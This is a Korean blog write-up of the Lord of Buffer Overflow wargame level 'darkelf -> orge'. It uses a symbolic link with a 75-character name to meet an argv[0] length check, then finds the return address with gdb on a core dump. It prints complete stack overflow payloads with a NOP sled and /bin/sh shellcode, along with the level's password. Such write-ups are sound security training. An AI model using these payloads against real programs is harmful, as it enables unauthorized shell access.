LOB darkelf -> orge
ID : darkelf
Passwd : kernel crashed
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령으로 code를 열어봅니다.
추가된 코드의 내용은 파일 경로 + 파일명인 argv[0]의 길이를 체크하는데요.
77byte여야 합니다.
./orge 상대 경로로 argv[0]을 넘겨줬을 때 strlen(argv[0])은 6byte일 것이고,
/home/darkelf/orge 절대 경로도 77byte는 역부족이네요.
이럴 때 심볼릭 링크를 사용합니다.
컴퓨팅에서 심볼릭 링크(symbolic link) 또는 기호화된 링크는 절대 경로 또는 상대 경로의 형태로 된 다른 파일이나 디렉터리에 대한 참조를 포함하고 있는 특별한 종류의 파일이다. (위키백과)
저는 파일을 포인팅하고 있는 파일이라고 해석했습니다. 그럼 argv[0]를 상대경로로 전달했을 때 77byte가 되려면 파일 명을 어떻게 지어줘야 할까요?
./ (현재 경로를 나타내는 2byte) + 파일명(75byte)
이렇게 구성해서 심볼릭 링크 파일을 만들어 보겠습니다. tmp 디렉터리를 만들고,
ln –s ../orge `python –c ‘print “A”*75’`
tmp 상위 폴더의 orge를 참조하는 A*75의 파일명을 가지고 있는 파일을 만들었습니다.
나머지 내용은 같으니 argv[2]를 이용해서 공격하겠습니다.
goblin Write Up -> https://jaemin8852.tistory.com/40
tmp에 orge 파일을 복사하고
ln –s ./orge `python –c ‘print “B”*75’`
(이 파일은 core 파일을 분석하기 위해 만드는 것으로, 아까 만든 A*75 원본 파일을 참조하는 파일과는 다릅니다.)
payload : ./`python –c ‘print “B”*75’` `python –c ‘print “A”*44 + “\xbf\xbf\xbf\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
core 파일입니다. gdb로 열어봅시다.
저 부분이 argv[2]입니다. Return Address를 0xbffffb40으로 변조해서 원본 파일(A*75)에 공격하겠습니다.
payload : ./`python –c ‘print “A”*75’` `python –c ‘print “A”*44 + “\x40\xfb\xff\xbf"’` `python –c ‘print “\x90”*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’`
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB troll -> vampire Write up (0) | 2017.10.10 |
---|---|
LOB orge -> troll Write up (0) | 2017.10.09 |
LOB wolfman -> darkelf Write up (0) | 2017.10.07 |
LOB orc -> wolfman Write up (0) | 2017.10.07 |
LOB goblin -> orc Write up (0) | 2017.10.03 |